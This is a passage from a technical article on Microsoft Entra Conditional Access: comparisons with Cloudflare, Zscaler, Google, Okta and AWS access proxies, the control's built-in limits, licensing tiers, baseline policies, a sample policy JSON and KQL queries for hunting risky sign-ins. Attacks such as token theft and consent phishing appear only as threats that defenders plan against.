&lt;p&gt;Cloudflare Access is an edge proxy. Policies are deny-by-default, with four building blocks: Actions (Allow, Block, Bypass, Service Auth), Rule types (Include, Require, Exclude), Selectors, and Values [@cloudflare-access-policies]. The deny-by-default semantics are explicit: &quot;Since Access is deny by default, users who do not match a Block policy will still be denied access unless they explicitly match an Allow policy&quot; [@cloudflare-access-policies]. Cloudflare also ships a policy tester that lets administrators dry-run a policy against the existing user population [@cloudflare-access-policy-mgmt].&lt;/p&gt;
&lt;p&gt;Zscaler Private Access is a broker-based ZTNA: the user connects to a Zscaler edge node, the broker establishes a connection to the private app, and &quot;users never access the corporate network, and apps are never exposed to the public internet&quot; [@zscaler-zpa]. Zscaler&apos;s own marketing surveys put the VPN-replacement framing in numbers: &quot;91% of organizations are concerned that VPNs compromise their security&quot; and &quot;56% of organizations suffered one or more VPN-related attacks in 2023-2024&quot; [@zscaler-zpa].&lt;/p&gt;
&lt;p&gt;Architecturally, Cloudflare Access and ZPA both sit closer to BeyondCorp than to Microsoft CA: the policy engine is in the data path; the protected resource is fronted by the proxy rather than gated at token issuance.&lt;/p&gt;
&lt;h3&gt;OpenID Shared Signals Framework and CAEP&lt;/h3&gt;
&lt;p&gt;Not a competitor: the &lt;em&gt;cross-vendor wire format&lt;/em&gt; for what Microsoft built into CAE. On 22 September 2025, the OpenID Foundation approved three Final Specifications: the Shared Signals Framework 1.0, the Continuous Access Evaluation Profile 1.0, and the Risk Incident Sharing and Coordination Profile 1.0 [@helpnet-2025-openid][@openid-caep-final]. CAEP defines five event types -- Session Revoked, Token Claims Change, Credential Change, Assurance Level Change, Device Compliance Change -- as the cross-vendor revocation vocabulary.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s CAE implementation is, in Microsoft&apos;s own words, &quot;an industry standard based on Open ID Continuous Access Evaluation Profile&quot; [@ms-cae-concept]. The Final Specifications from September 2025 are the canonical post-2025 reference; older drafts at OpenID&apos;s site are superseded.&lt;/p&gt;
&lt;h3&gt;Head-to-head comparison&lt;/h3&gt;
&lt;p&gt;The differences worth memorising:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;System&lt;/th&gt;
&lt;th&gt;Enforcement point&lt;/th&gt;
&lt;th&gt;Native risk feed&lt;/th&gt;
&lt;th&gt;Post-issuance revocation&lt;/th&gt;
&lt;th&gt;Gates M365 first-party?&lt;/th&gt;
&lt;th&gt;Best suited for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Microsoft Entra CA + ID Protection + CAE&lt;/td&gt;
&lt;td&gt;Token issuer + CAE-aware resource APIs&lt;/td&gt;
&lt;td&gt;ID Protection ML pipeline&lt;/td&gt;
&lt;td&gt;CAE up to 15 min, instant for IP&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;M365 tenants&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Google IAP / Chrome Enterprise Premium&lt;/td&gt;
&lt;td&gt;HTTPS reverse proxy&lt;/td&gt;
&lt;td&gt;Context-aware access signals&lt;/td&gt;
&lt;td&gt;Per-request (always re-decides)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Google Cloud workloads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Okta Identity Engine + ThreatInsight&lt;/td&gt;
&lt;td&gt;IdP token issuance&lt;/td&gt;
&lt;td&gt;ThreatInsight IP feed&lt;/td&gt;
&lt;td&gt;Limited, IdP-dependent&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Vendor-neutral front door&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AWS IAM Identity Center + Verified Access&lt;/td&gt;
&lt;td&gt;Verified Access proxy + IAM&lt;/td&gt;
&lt;td&gt;Trust providers (third-party)&lt;/td&gt;
&lt;td&gt;Per-request for Verified Access&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;AWS-hosted apps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloudflare Access&lt;/td&gt;
&lt;td&gt;Edge proxy&lt;/td&gt;
&lt;td&gt;Risk score + identity factors&lt;/td&gt;
&lt;td&gt;Per-request&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Public web apps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Zscaler Private Access&lt;/td&gt;
&lt;td&gt;Broker / edge node&lt;/td&gt;
&lt;td&gt;Posture + identity&lt;/td&gt;
&lt;td&gt;Per-request&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Private app access&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Per-cell sourcing for the table: the Microsoft row&apos;s &quot;Yes&quot; cell on M365 first-party gating is the directly-stated claim from the Microsoft Learn CA overview [@ms-ca-overview]. The other rows&apos; &quot;No&quot; cells are &lt;em&gt;negative inferences&lt;/em&gt; drawn from each peer&apos;s own product documentation, none of which advertises Microsoft 365 first-party API gating: Google IAP gates HTTPS-fronted apps behind the proxy [@google-iap]; Cloudflare Access deny-by-default applies to the apps fronted by Cloudflare [@cloudflare-access-policies]; Verified Access &quot;evaluates each application access request&quot; for HTTPS apps behind AWS [@aws-verified-access]; Zscaler ZPA brokers private app access [@zscaler-zpa]; Okta sign-on policies gate apps wired into Okta&apos;s IdP [@okta-sign-on-policies]. The cell semantics are &quot;does the system gate Outlook/Teams/SharePoint/Graph first-party traffic&quot; and the answer is structurally No outside Microsoft.&lt;/p&gt;

flowchart LR
    subgraph TOK[Token issuance model Microsoft Okta]
        U1[User] --&amp;gt; AT[Acquire token]
        AT --&amp;gt; CA1[CA evaluator]
        CA1 --&amp;gt; IS[Issue token]
        IS --&amp;gt; R1[Resource API validates token]
        R1 -. CAE 401 .-&amp;gt; AT
    end
    subgraph PRX[Data path proxy model Google BeyondCorp AWS Verified Access Cloudflare Zscaler]
        U2[User] --&amp;gt; PXY[Proxy intercepts every request]
        PXY --&amp;gt; POL[Policy evaluator at the proxy]
        POL --&amp;gt; BCK[Backend application]
    end
&lt;p&gt;The honest observation worth sitting with: none of the proxy systems gates M365 first-party API traffic. Outlook, Teams, SharePoint, and Microsoft Graph route through Entra. For those workloads, Entra remains the only effective policy plane. The proxy systems gate &lt;em&gt;the apps that sit behind the proxy&lt;/em&gt; -- internal apps, partner-facing apps, custom workloads. That makes BeyondCorp, Okta, Cloudflare Access, and ZPA &lt;em&gt;complementary to&lt;/em&gt; Entra CA in an M365 environment, not substitutes for it.&lt;/p&gt;
&lt;p&gt;Six systems, six architectural choices. None of them wrong. But what do they &lt;em&gt;all&lt;/em&gt; leave on the table?&lt;/p&gt;
&lt;h2&gt;8. What Conditional Access fundamentally cannot do&lt;/h2&gt;
&lt;p&gt;Section 7 cannot be the ending. There are at least five things Conditional Access -- and every peer in Section 7 -- &lt;em&gt;cannot&lt;/em&gt; do. Some are engineering limits; some are theorems. Both classes are worth naming.&lt;/p&gt;
&lt;h3&gt;(a) On-prem authentication&lt;/h3&gt;
&lt;p&gt;CA is a cloud control plane. Kerberos and NTLM against on-prem domain controllers do not consult Entra. There is no policy hook for the legacy Windows protocols. If a domain user signs in to a domain-joined workstation, authenticates to a file server, and accesses a share, no piece of that flow touches Conditional Access. The Microsoft Learn overview is explicit about the scope [@ms-ca-overview].&lt;/p&gt;
&lt;p&gt;This is the operational seam between cloud identity and on-prem identity. State it plainly; do not soften.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Conditional Access does not gate Kerberos or NTLM against on-prem domain controllers. If your threat model includes lateral movement after credential theft on the on-prem side, CA is not your defence. Layer in Defender for Identity, on-prem MFA gateways, or a privileged-access workstation architecture instead.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;(b) Post-issuance token theft&lt;/h3&gt;
&lt;p&gt;Once a refresh token is exfiltrated -- whether via an adversary-in-the-middle phishing kit like Evilginx [@ms-aitm-phishing-blog], an infostealer that scrapes the token cache, or a malicious browser extension -- the pre-issuance CA evaluation is bypassed. The attacker has a bearer token. They can present it to the resource API directly. CAE-aware resource providers can revoke mid-session on the published critical-event list, but the latency ceiling is &quot;up to 15 minutes&quot; for non-IP events [@ms-cae-concept]. In fifteen minutes a competent attacker has done plenty.&lt;/p&gt;
&lt;p&gt;The mitigation is &lt;em&gt;device-bound&lt;/em&gt; credentials: Primary Refresh Tokens bound to &lt;a href=&quot;https://paragmali.com/blog/the-tpm-in-windows-one-primitive-twenty-five-years-and-the-c/&quot; rel=&quot;noopener&quot;&gt;TPM&lt;/a&gt; hardware, FIDO2 with hardware attestation, certificate-based authentication with hardware-protected keys [@ms-prt-concept]. A bearer token bound to a TPM is not exfiltratable in the same way; the wrapped key material never leaves the device.&lt;/p&gt;
&lt;h3&gt;(c) Consent-grant phishing&lt;/h3&gt;
&lt;p&gt;CA evaluates &lt;em&gt;authentication&lt;/em&gt;, not &lt;em&gt;authorization grants&lt;/em&gt; that a user makes to a malicious OAuth app. A user who clicks &quot;Allow&quot; on a permissions-consent prompt for an attacker-controlled app has performed an OAuth authorization, not a sign-in. The malicious app now has the user&apos;s delegated permissions for whatever scopes were granted. CA was not invoked because CA gates the user&apos;s sign-ins; it does not inspect the user&apos;s OAuth grants. Microsoft Defender for Cloud Apps documents the attack class as &quot;risky OAuth apps&quot; and ships investigation and remediation tooling on a separate plane from CA [@ms-illicit-consent-grant].&lt;/p&gt;
&lt;p&gt;Admin consent settings, app governance policies, and explicit allow-listing of acceptable publishers live on that different plane. The policy admin who deploys CA needs to deploy app governance separately.&lt;/p&gt;
&lt;h3&gt;(d) Risk evaluation is probabilistic&lt;/h3&gt;
&lt;p&gt;Identity Protection produces a &lt;em&gt;score&lt;/em&gt;, not a &lt;em&gt;proof&lt;/em&gt;. A &quot;high&quot; risk level is a confidence; it is not the assertion &quot;this sign-in is definitely an attack.&quot; No vendor in the Section 7 survey publishes precision or recall numbers for its risk engine. The operating point -- the threshold that maps a continuous score to discrete buckets -- is a trade-off that the vendor calibrates and the customer does not see.&lt;/p&gt;
&lt;p&gt;This is a &lt;em&gt;structural&lt;/em&gt; lower bound on any ML-driven risk plane, not a Microsoft-specific failure. Any classifier has false positives and false negatives. A risk-aware CA policy that says &quot;block at high risk&quot; will, with non-zero probability, block a legitimate sign-in. A policy that says &quot;require MFA at medium risk&quot; will, with non-zero probability, let through a sophisticated attacker whose detections fall under the threshold.&lt;/p&gt;
&lt;h3&gt;(e) Workload-identity CA is constrained by design&lt;/h3&gt;
&lt;p&gt;Block-only grants. No managed identities. No group assignments. The full human grant taxonomy does not transfer because a service principal cannot perform an MFA challenge, cannot register a FIDO2 key, cannot accept a terms-of-use document. The Microsoft Learn page on workload-identity CA enumerates the constraints precisely [@ms-workload-identity-ca]. Section 9 will name this as an &lt;em&gt;open&lt;/em&gt; problem; for now, treat it as a documented limit.&lt;/p&gt;
&lt;h3&gt;The theorems behind the limits&lt;/h3&gt;
&lt;p&gt;Some of these limits are engineering choices that could be different in a future product. Some are deeper.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Saltzer and Schroeder 1975&lt;/strong&gt; [@saltzer-schroeder-1975] give the upper bound on aspirations: complete mediation across every authentication and authorization decision &lt;em&gt;within scope of mediation&lt;/em&gt;. The principle does not constrain what is in scope. It constrains what you must do for whatever you have decided is in scope. On-prem AD is out of scope for CA by Microsoft&apos;s product decision; complete mediation cannot fix that, because the principle is about consistency &lt;em&gt;within&lt;/em&gt; the boundary, not about expanding the boundary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Harrison-Ruzzo-Ullman 1976&lt;/strong&gt; -- usually shortened to HRU [@harrison-ruzzo-ullman-1976] -- gives the lower bound on static analysis. The safety question in the general access-matrix model is &lt;em&gt;undecidable&lt;/em&gt;. In informal terms: there is no general algorithm that proves a Conditional Access policy edit cannot, under some future edit chain, leak a sensitive right. This is why every vendor in the survey relies on &lt;em&gt;evaluation-time&lt;/em&gt; mediation (the engine decides at the moment of the request) rather than &lt;em&gt;static-proof&lt;/em&gt; analysis (the engine certifies in advance that no edit can ever leak). Cedar&apos;s intentional restriction to a decidable fragment, in AWS Verified Access, is the counter-strategy: trade expressiveness for analysability.&lt;/p&gt;
&lt;p&gt;The bearer-token revocation trade-off is informal but real: the worst-case revocation latency is bounded below by the token&apos;s natural lifetime, unless a side channel exists. CAE is that side channel. Its latency is bounded by the propagation time of the channel (up to 15 minutes for non-IP events, instant for IP). Shorten the channel further and you discover that the IdP-to-resource-API event delivery has its own infrastructure costs.&lt;/p&gt;

The practical implication of HRU for a CA admin is that there is no tool, anywhere, that can examine your tenant&apos;s CA policies and certify that no sequence of policy edits could ever leak access to a sensitive resource. Vendors offer policy *testers* that simulate a single edit against the current population; that is decidable. The question &quot;is the system safe under all possible future edits?&quot; is not. This is why audit trails, change-control gates, and least-privilege role assignments on the CA admin role matter as much as the CA policies themselves.
&lt;p&gt;Naming the limits clears the way to name the &lt;em&gt;active&lt;/em&gt; unsolved problems -- the ones the field is still working on, where the current state of the art admits it is partial.&lt;/p&gt;
&lt;h2&gt;9. Where the policy plane is still incomplete&lt;/h2&gt;
&lt;p&gt;Microsoft&apos;s own 2026 documentation for Conditional Access on AI agents calls the current implementation &quot;a lightweight enforcement mechanism designed to block unauthorized or risky agents, not a full policy suite.&quot; That is not marketing modesty. It is an admission that the most active frontier of policy enforcement -- &lt;a href=&quot;https://paragmali.com/blog/agentic-identity-on-windows-when-the-process-acting-on-your-/&quot; rel=&quot;noopener&quot;&gt;agent identities&lt;/a&gt; -- is deliberately under-specified.&lt;/p&gt;
&lt;p&gt;Five open problems sit on that frontier in 2026.&lt;/p&gt;

Organizations are expanding Zero Trust across more users, applications, and now a growing population of AI agent identities ... the Conditional Access Optimization Agent moves beyond static guidance to continuous, context-aware identity posture optimization. [@ms-techcom-ca-optimization-agent]
&lt;h3&gt;9.1 Agent identity policy semantics&lt;/h3&gt;
&lt;p&gt;What grants should exist for AI agents beyond block and allow? Useful candidate grants include: &quot;read-but-not-move&quot; for mail or files; &quot;business-hours-only&quot;; &quot;any autonomous action requires a fresh sign-off from the on-behalf-of human.&quot; None of these exist as first-class CA grant types in 2026.&lt;/p&gt;
&lt;p&gt;What does exist: CA targeting of agent identities -- the ability to &lt;em&gt;match&lt;/em&gt; a policy on the agent identity rather than the human -- and the Conditional Access Optimization Agent, which gives administrators continuous recommendations on policy posture [@ms-techcom-ca-optimization-agent]. The targeting is there. The grant taxonomy is still mostly the human one, applied imperfectly.&lt;/p&gt;
&lt;h3&gt;9.2 Cross-vendor CAEP interop&lt;/h3&gt;
&lt;p&gt;The wire format was finalised in September 2025 [@helpnet-2025-openid][@openid-caep-final]. Production receiver coverage outside Microsoft Entra-internal resource providers is partial. Two large vendors agreeing on an event schema is necessary but not sufficient for cross-vendor revocation to work in practice; the receiving side needs to &lt;em&gt;act&lt;/em&gt; on the events. The next eighteen months are the period in which CAEP either becomes the cross-vendor wire format for revocation, or it does not.&lt;/p&gt;
&lt;h3&gt;9.3 Workload-identity grant set&lt;/h3&gt;
&lt;p&gt;What richer expressions could exist for non-human identities? The current Microsoft Learn page lists workload-identity detections: &lt;code&gt;investigationsThreatIntelligence&lt;/code&gt;, &lt;code&gt;suspiciousSignins&lt;/code&gt;, &lt;code&gt;adminConfirmedServicePrincipalCompromised&lt;/code&gt;, &lt;code&gt;leakedCredentials&lt;/code&gt;, &lt;code&gt;maliciousApplication&lt;/code&gt;, &lt;code&gt;suspiciousApplication&lt;/code&gt;, &lt;code&gt;anomalousServicePrincipalActivity&lt;/code&gt;, &lt;code&gt;suspiciousAPITraffic&lt;/code&gt; [@ms-workload-identity-risk]. The detections exist; the grant taxonomy stops at block.&lt;/p&gt;
&lt;p&gt;Candidate richer grants: &quot;workload attestation&quot; (the service principal proves it is running on attested infrastructure), &quot;verifiable claim from a trusted attester&quot; (a third party signs a statement about the workload), &quot;step-up authorization for sensitive scopes&quot; (a higher-privilege scope requires a separate per-request authorization step). None of these is generally available in 2026.&lt;/p&gt;

A non-human identity in Entra ID: a service principal, an application registration&apos;s owned service principal, or a managed identity in Azure. Workload identities authenticate via client secrets, client certificates, federated credentials, or (for managed identities) instance-metadata-service tokens. Conditional Access for workload identities currently applies only to single-tenant service principals registered in the tenant; it does not cover multi-tenant SaaS apps or managed identities [@ms-workload-identity-ca].
&lt;h3&gt;9.4 The break-glass paradox&lt;/h3&gt;
&lt;p&gt;Emergency-access accounts must be excluded from CA. If a CA misconfiguration locks out every admin, the break-glass account is the recovery path. But exclusion creates a high-value bypass: an attacker who compromises a break-glass account inherits its exclusion.&lt;/p&gt;
&lt;p&gt;There is no clean answer. Microsoft&apos;s guidance is exclusion plus FIDO2 binding plus alerting: the break-glass accounts have hardware-bound FIDO2 keys (so they cannot be phished), they are excluded from all CA policies (so misconfiguration cannot lock them out), and &lt;em&gt;every&lt;/em&gt; sign-in is alerted on (so misuse is detected within minutes) [@ms-emergency-access].&lt;/p&gt;

Run two break-glass accounts, not one. Store the FIDO2 keys in separate physical safes under separate custodians. Never use them for anything but a recovery exercise once per quarter; if they sign in unexpectedly, treat the alert as a P1 incident. The operational pattern accepts that you have a bypass and treats the bypass as the highest-value alert in the tenant [@ms-emergency-access].
&lt;h3&gt;9.5 The risk-engine transparency problem&lt;/h3&gt;
&lt;p&gt;No vendor in the Section 7 survey publishes model architecture, feature vector size, or per-detection precision and recall. Microsoft does not. Okta does not. Google does not. Defenders, auditors, and regulators must accept a black-box score.&lt;/p&gt;
&lt;p&gt;This matters in three places. First, for incident response: when an &quot;atypical travel&quot; detection fires for an executive, the responder cannot see which features contributed and how strongly. Second, for compliance: an auditor asked to evidence the effectiveness of the control plane gets the operating output (3-tier risk levels) but not a quantitative evaluation. Third, for the risk-engine vendors themselves, who must respond to legitimate regulatory questions about model bias and operational reliability without revealing the architecture that attackers would use to evade detection.&lt;/p&gt;
&lt;p&gt;The article does not predict a resolution. It names the gap.&lt;/p&gt;
&lt;p&gt;The architecture is incomplete by admission. It is also actionable today. A competent tenant administrator can deploy a sensible baseline in an afternoon.&lt;/p&gt;
&lt;h2&gt;10. Using Conditional Access today&lt;/h2&gt;
&lt;p&gt;The architectural story ends; the operational story begins. Here is what a competent tenant looks like in 2026.&lt;/p&gt;
&lt;h3&gt;The licensing reality&lt;/h3&gt;
&lt;p&gt;Conditional Access is not a feature every Microsoft 365 tenant gets. It is a feature gated by SKU. The licensing tiers are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Entra ID Free.&lt;/strong&gt; Security Defaults only [@ms-security-defaults]. No Conditional Access policies. No risk-based conditions. No CA-driven CAE (the critical-event-evaluation subsystem -- for events like account disable, password reset, and high user risk -- still propagates to CAE-aware M365 services at the service layer regardless of SKU; see Section 6.6) [@ms-cae-concept].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entra ID P1.&lt;/strong&gt; Conditional Access is unlocked [@ms-ca-overview]. You can author policies with any of the non-risk conditions: users, apps, locations, devices, client app, platform. You can demand any of the non-risk grants.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entra ID P2.&lt;/strong&gt; Adds risk-based conditions. &lt;code&gt;signInRiskLevels&lt;/code&gt; and &lt;code&gt;userRiskLevels&lt;/code&gt; become usable [@ms-id-protection-overview]. ID Protection&apos;s full report pane (risky users, risky sign-ins, risk detections) is accessible. The legacy ID-Protection-side risk policies retire 1 October 2026 [@ms-id-protection-policies].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Workload Identities Premium.&lt;/strong&gt; A separate SKU. Unlocks CA scoped to service principals [@ms-workload-identity-ca].&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This corrects a premise discarded earlier: &quot;Conditional Access is the policy plane every M365 tenant runs on&quot; is &lt;em&gt;not&lt;/em&gt; true. Many tenants run on Security Defaults. The &quot;policy plane every tenant runs on&quot; is the cloud sign-in pipeline; CA is the configurable richer layer that P1+ tenants opt into.&lt;/p&gt;
&lt;h3&gt;Start with the managed baselines&lt;/h3&gt;
&lt;p&gt;Microsoft-managed Conditional Access policies are the recommended starting point [@ms-managed-policies]. They auto-deploy in Report-only mode, run for at least 45 days while administrators review the impact in the Sign-in logs, and are auto-enabled with a 28-day pre-enablement notification unless administrators opt out [@ms-managed-policies]. The currently shipping baselines, per Microsoft Learn, include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MFA for admins accessing Microsoft admin portals (the most-privileged roles).&lt;/li&gt;
&lt;li&gt;MFA for users who already have per-user MFA enabled (a migration aid).&lt;/li&gt;
&lt;li&gt;MFA and reauthentication for risky sign-ins (the P2 baseline).&lt;/li&gt;
&lt;li&gt;Block legacy authentication.&lt;/li&gt;
&lt;li&gt;Block access for high-risk users (P2-tier protection on the user-risk surface).&lt;/li&gt;
&lt;li&gt;Block all high-risk agents accessing all resources (Preview, AI-agent surface).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The original announcement called for a 90-day report-only window [@weinert-2023-managed-policies][@helpnet-2023-microsoft-entra-policies]. The current default is 45 days [@ms-managed-policies]; the window shrank as Microsoft gained confidence that customers were not surprised by the auto-enablement.&lt;/p&gt;
&lt;h3&gt;Five custom policies on top of the baselines&lt;/h3&gt;
&lt;p&gt;Beyond the managed policies, every well-run tenant in operational experience runs five custom policies on top of the baselines [@ms-ca-policy-common]: block legacy authentication unconditionally [@ms-managed-policies]; require the phishing-resistant Authentication Strength for any user in a privileged role [@ms-auth-strengths]; require &lt;code&gt;compliantDevice&lt;/code&gt; for admin centres, finance apps, and customer-data exports [@ms-intune-compliance-partners]; restrict privileged sign-ins to a named-location allow-list with block-or-step-up outside it [@ms-ca-network]; and, where Entra ID P2 is licensed, demand a sign-in-risk-based step-up (MFA at high risk, a passwordless or phishing-resistant method at medium risk) [@ms-id-protection-policies].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; 1. Block legacy authentication. 2. Phishing-resistant Authentication Strength for admin roles. 3. Require compliant device for sensitive applications. 4. Named-location restrictions for privileged roles. 5. Sign-in-risk-based step-up where Entra ID P2 is available.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Automation entry points (Microsoft Graph)&lt;/h3&gt;
&lt;p&gt;The Graph endpoints administrators care about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;GET /identity/conditionalAccess/policies&lt;/code&gt; -- list policies. &lt;code&gt;POST&lt;/code&gt; to create, &lt;code&gt;PATCH&lt;/code&gt; to update [@ms-graph-capolicy].&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /identityProtection/riskDetections&lt;/code&gt; -- the per-detection log. Filterable by &lt;code&gt;riskLevel&lt;/code&gt;, &lt;code&gt;riskState&lt;/code&gt;, &lt;code&gt;userPrincipalName&lt;/code&gt;, &lt;code&gt;activityDateTime&lt;/code&gt; [@ms-graph-riskdetection].&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /identityProtection/riskyUsers&lt;/code&gt; -- the per-user risk view.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A policy authored in code looks like this (truncated for readability):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;displayName&quot;: &quot;Require phishing-resistant for admins&quot;,
  &quot;state&quot;: &quot;enabledForReportingButNotEnforced&quot;,
  &quot;conditions&quot;: {
    &quot;users&quot;: { &quot;includeRoles&quot;: [&quot;62e90394-69f5-4237-9190-012177145e10&quot;] },
    &quot;applications&quot;: { &quot;includeApplications&quot;: [&quot;All&quot;] }
  },
  &quot;grantControls&quot;: {
    &quot;operator&quot;: &quot;OR&quot;,
    &quot;authenticationStrength&quot;: { &quot;id&quot;: &quot;00000000-0000-0000-0000-000000000004&quot; }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The recommended deployment dance is &lt;code&gt;enabledForReportingButNotEnforced&lt;/code&gt; first; let the Sign-in log show you the impact for a calibration window; promote to &lt;code&gt;enabled&lt;/code&gt; only after the report-only data matches expectations [@ms-ca-report-only].&lt;/p&gt;
&lt;h3&gt;Audit-time visibility&lt;/h3&gt;
&lt;p&gt;Three surfaces matter:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sign-in logs&lt;/strong&gt; in the Entra portal show the per-sign-in evaluation, including which CA policies matched and which grants were satisfied.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Risk-detection log&lt;/strong&gt; in Identity Protection (P2 only) shows the per-detection narrative: which &lt;code&gt;riskEventType&lt;/code&gt; fired, with what &lt;code&gt;additionalInfo&lt;/code&gt;, against which user.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The What-If tool&lt;/strong&gt; simulates a policy evaluation for a hypothetical sign-in, before you enable a policy.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Detection engineering&lt;/h3&gt;
&lt;p&gt;For E5 tenants, the Sign-in logs and risk detections flow into Microsoft Sentinel (via the Microsoft Entra ID connector) or Defender XDR [@ms-sentinel-aad-connector]. A KQL skeleton for high-risk-with-CA-failure looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-kusto&quot;&gt;SigninLogs
| where ResultType != 0
| join kind=inner (AADRiskDetections | where RiskLevel == &quot;high&quot;) on UserPrincipalName, CorrelationId
| project TimeGenerated, UserPrincipalName, IPAddress, ConditionalAccessStatus, RiskEventType, FailureReason
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The aggregate scale figure is worth remembering: Microsoft processes &quot;more than 100 trillion security signals&quot; daily across all identity products [@ms-managed-policies]. The detection engineer is consuming a small slice that landed in their tenant.&lt;/p&gt;

Run the following in Microsoft Sentinel or the Entra advanced hunting blade to surface sign-ins that succeeded *despite* a high-confidence risk detection -- the most operationally interesting subset. The query is original to this article; the schema it targets is the canonical Microsoft Sentinel Entra ID connector tables `SigninLogs` and `AADRiskDetections` [@ms-sentinel-aad-connector], and the join-and-filter pattern follows the practice documented in Microsoft&apos;s Sentinel hunting guidance [@ms-sentinel-hunting].&lt;pre&gt;&lt;code class=&quot;language-kusto&quot;&gt;let window = 7d;
SigninLogs
| where TimeGenerated &amp;gt; ago(window)
| where ResultType == 0
| where ConditionalAccessStatus == &quot;success&quot;
| join kind=inner (
    AADRiskDetections
    | where TimeGenerated &amp;gt; ago(window)
    | where RiskLevel == &quot;high&quot;
) on UserPrincipalName, CorrelationId
| project TimeGenerated, UserPrincipalName, IPAddress, AppDisplayName, RiskEventType, ConditionalAccessPolicies
| order by TimeGenerated desc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The expected count for a well-tuned tenant is small. Spikes warrant a P2 investigation.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Break-glass&lt;/h3&gt;
&lt;p&gt;Two emergency-access accounts. FIDO2-bound. Excluded from every CA policy. Stored as separate hardware tokens in separate safes. Every sign-in is wired to a P1 alert. Per Section 9.4 and Microsoft Learn&apos;s emergency-access guidance, this is the acknowledged operational compromise to the break-glass paradox [@ms-emergency-access].&lt;/p&gt;

A non-personal Entra ID administrator account excluded from Conditional Access and from MFA enforcement, used only when the primary identity infrastructure has failed. Best practice: at least two such accounts, with hardware FIDO2 keys stored separately, monitored by an unconditional alert on any sign-in.
&lt;p&gt;The article has answered &quot;who decided?&quot; five times over: by signal, by policy, by token, by session, by operational pattern. One section remains: the misconceptions that keep recurring.&lt;/p&gt;
&lt;h2&gt;11. Misconceptions that recur&lt;/h2&gt;
&lt;p&gt;Every time these questions come up in practice, the same wrong answers come back. The corrections are worth memorising.&lt;/p&gt;

Only if you have Entra ID P1 or higher and have configured CA policies. Free SKU tenants run Security Defaults, which is a coarse tenant-wide on/off switch, not CA [@ms-security-defaults]. CA is unlocked at P1 [@ms-ca-overview]; risk-based conditions are unlocked at P2 [@ms-id-protection-overview]. The &quot;every tenant runs on CA&quot; framing you sometimes see in marketing material is incorrect.

No. CA is a cloud control plane. Kerberos and NTLM against on-prem domain controllers do not consult Entra at all [@ms-ca-overview]. If your threat model includes on-prem lateral movement, layer in Defender for Identity and the standard on-prem hardening playbook.

No. CAE is event-driven push from the policy plane to CAE-aware resource APIs. The Microsoft Learn CAE document gives the latency ceiling precisely: &quot;the goal for critical event evaluation is for response to be near real time, but latency of up to 15 minutes might be observed because of event propagation time; however, IP locations policy enforcement is instant&quot; [@ms-cae-concept]. There is no 30-second poll. The token can live up to 28 hours because the revocation is event-driven.

No. Clients advertise CAE-readiness via the `cp1` client capability in token requests, specifically by adding `cp1` to the `xms_cc` claim mechanism (or by calling `WithClientCapabilities(new[] { &quot;cp1&quot; })` in MSAL) [@ms-claims-challenge][@ms-app-resilience-cae]. The Microsoft Learn claims-challenge page is explicit: &quot;The only currently known value is `cp1`&quot; [@ms-claims-challenge]. The CAE-aware token is recognisable by its long lifetime (up to 28 hours) and by the resource API&apos;s willingness to issue an `insufficient_claims` challenge, not by a Boolean claim.

No. Third-party MDM compliance partners can write the device compliance state into Entra via Intune&apos;s compliance-partner API [@ms-intune-compliance-partners]. The CA grant reads `isCompliant` on the device object; it does not care which MDM wrote that value. Microsoft&apos;s preferred deployment is Intune, but the integration point is open by design.

